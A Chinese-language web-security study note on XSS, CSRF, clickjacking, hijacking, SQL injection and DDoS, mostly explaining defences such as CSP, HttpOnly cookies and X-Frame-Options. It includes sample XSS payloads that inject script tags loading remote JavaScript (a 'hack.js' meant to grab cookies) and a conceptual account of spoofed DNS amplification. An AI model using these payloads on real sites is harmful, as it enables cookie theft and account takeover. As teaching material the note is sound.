XSS
Cross Site Scripting
跨站脚本攻击
XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的HTML标签或JavaScript 进⾏的⼀种攻击。
跨站脚本攻击有可能造成以下影响:
- 利⽤虚假输⼊表单骗取⽤户个⼈信息。
- 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的⽂章或图⽚
XSS攻击分类
反射型 - url参数直接注⼊
1
2
3
4
5
6
7
8
9// 普通
http://localhost:3000/?from=china
// 其他js
http://localhost:3000/?from=<script src="https://www.diaoshifu.xyz/js/index.js"></script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>存储型 - 存储到DB后读取时注⼊
1
2
3
4
5// 评论
<script>alert(1)</script>
// 跨站脚本注⼊
兄弟们全体目光向我看齐<script src="http://localhost:4000/hack.js"></script>
XSS攻击的危害
- 获取页面数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户
XSS防范手段
X-XSS-Protection
MDN说明:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-XSS-Protection
简书主页:https://www.jianshu.com/Content-Security-Policy
阮一峰讲CSP:https://www.ruanyifeng.com/blog/2016/09/csp.html内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃取到⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们 只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少 XSS 攻击。
HttpOnly Cookie
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应⽤程序在设置cookie时,将其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤户cookie信息。
1 | response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly") |
CSRF
CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常见的Web攻击,它利用用户已登录的身份,在⽤户毫不知情的情况下,以用户的名义完成非法操作。
- ⽤户已经登录了站点 A,并在本地记录了 cookie
- 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
- 站点 A 没有做任何 CSRF 防御 [
1
2登录
http://localhost:4000/csrf.html
](http://localhost:4000/csrf.html)
CSRF攻击危害
- 利⽤⽤户登录态
- ⽤户不知情
- 完成业务请求
- 盗取⽤户资⾦(转账,消费)
- 冒充⽤户发帖背锅
- 损害⽹站声誉
防御手段
- 禁⽌第三⽅⽹站带Cookie - 有兼容性问题
- Referer Check - Https不发送referer
- Token - localstorage
- 验证码
点击劫持
点击劫持是⼀种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出⼀个按钮诱导⽤户点击。
1 | http://localhost:4000/clickjacking.html |
防御手段
- X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头就是为了防御⽤ iframe 嵌套的点击劫持攻击。 该响应头有三个值可选,分别是
- DENY,表示⻚⾯不允许通过 iframe 的方式展示
- SAMEORIGIN,表示页面可以在相同域名下通过 iframe 的方式展示
- ALLOW-FROM,表示页面可以在指定来源的 iframe 中展示
1 | ctx.set('X-FRAME-OPTIONS', 'DENY') |
请求劫持
DNS劫持
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
HTTP劫持
运营商劫持,此时⼤概只能升级HTTPS了联通和电信以前经常干这事
SQL注入
1 | // 填⼊特殊密码 |
防御手段
- 所有的查询语句建议使⽤数据库提供的参数化查询接⼝,参数化的语句使⽤参数⽽不是将⽤户输⼊变量嵌⼊到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query ⽅法中的 ? 占位参数。
- 严格限制Web应⽤的数据库的操作权限,给此⽤户提供仅仅能够满⾜其⼯作的最低权限,从而最⼤限度的减少注⼊攻击对数据库的危害
- 后端代码检查输⼊的数据是否符合预期,严格限制变量的类型,例如使⽤正则表达式进⾏⼀些匹配处理。
- 对进⼊数据库的特殊字符(’,”,\,<,>,&,*,; 等)进⾏转义处理,或编码转换。基本上所有的后端语⾔都有对字符串进⾏转义处理的⽅法,比如 lodash 的_.escape。
DDOS
Distributed Denial of Service
分布式拒绝服务请求
1996年9月6日 美国纽约 著名互联网服务商panix的服务器遭到攻击。是历史上第一次DDos攻击
DDos攻击暴力且直接,属于阳谋。大家都知道是怎么发生的 ,但都无可奈何。
历经互联网沧桑变革,DDos依然是网络安全的心头之患。
僵尸网络 BotNet
僵尸网络包含电脑、服务器、甚至手机
为了组建僵尸网络,穷人用木马,富人用money。
1999年8月17日 美国明尼苏达大学的服务器,
在200台设备组成的僵尸网络的攻击下瘫痪了两天,而僵尸并不知情。
通过ip追踪并屏蔽之后,还有新加入僵尸继续攻击。
TCP四层网络模型
应用层 http
传输层 tcp udp
网络层 ip
链路层
ICMP包(ping) IP洪水
利用大量的ping阻塞目标网络
udp洪水
udp请求需要伪造ip地址,不然容易被屏蔽。
反射攻击
不必拘泥于伪造发送端,其实接收端也可以伪造,达到借刀杀人的目的。
收件人写大量的第三方机器,发件人写目标,这些第三方机器称为反射器。
有点像在网络上挂别人手机号,很损 但很有效
基于此发明了放大攻击
放大攻击
dns是使用udp协议的,不用验证来源
综合来看是一个很好的放大器。
带宽放大因子
返回字节除以请求字节
60字节请求 3000字节返回
即50倍放大效果
DNS服务器就具有50倍带宽放大因子
这样,我们就可以伪造请求者ip向DNS服务器发起请求
连接资源攻击
除了上面的攻击带宽,还可以攻击连接资源
TCP洪水
tcp需要3次握手,然后存入连接表
我们可以大量发起tcp连接请求,这属于tcp洪水
缺点:无法伪造ip,不然握不到手。
SYN洪水
不过我们可以利用tcp的重传机制。
只发一次请求,目标会回复10次。
这需要伪造ip,不然属于伤敌一千自损一万。
这也属于攻击带宽。
RST洪水
rst请求可以强制切断连接
网络游戏的炸房挂多用此技术
HTTP洪水
发送短时大量的http请求
缺点:不能伪造ip,需要用真实代理地址。属于有钱人玩的
参考文献
历史上比较有名的DDos攻击及其原因
新浪微博XSS劫持事件
盘点五大史诗级DDos攻击
如何看待支付宝出现xss漏洞事件?
上线一天就关服,国内多款游戏遭台黑客组织攻击
百度搜索劫持,访问百度会跳转到游戏网页?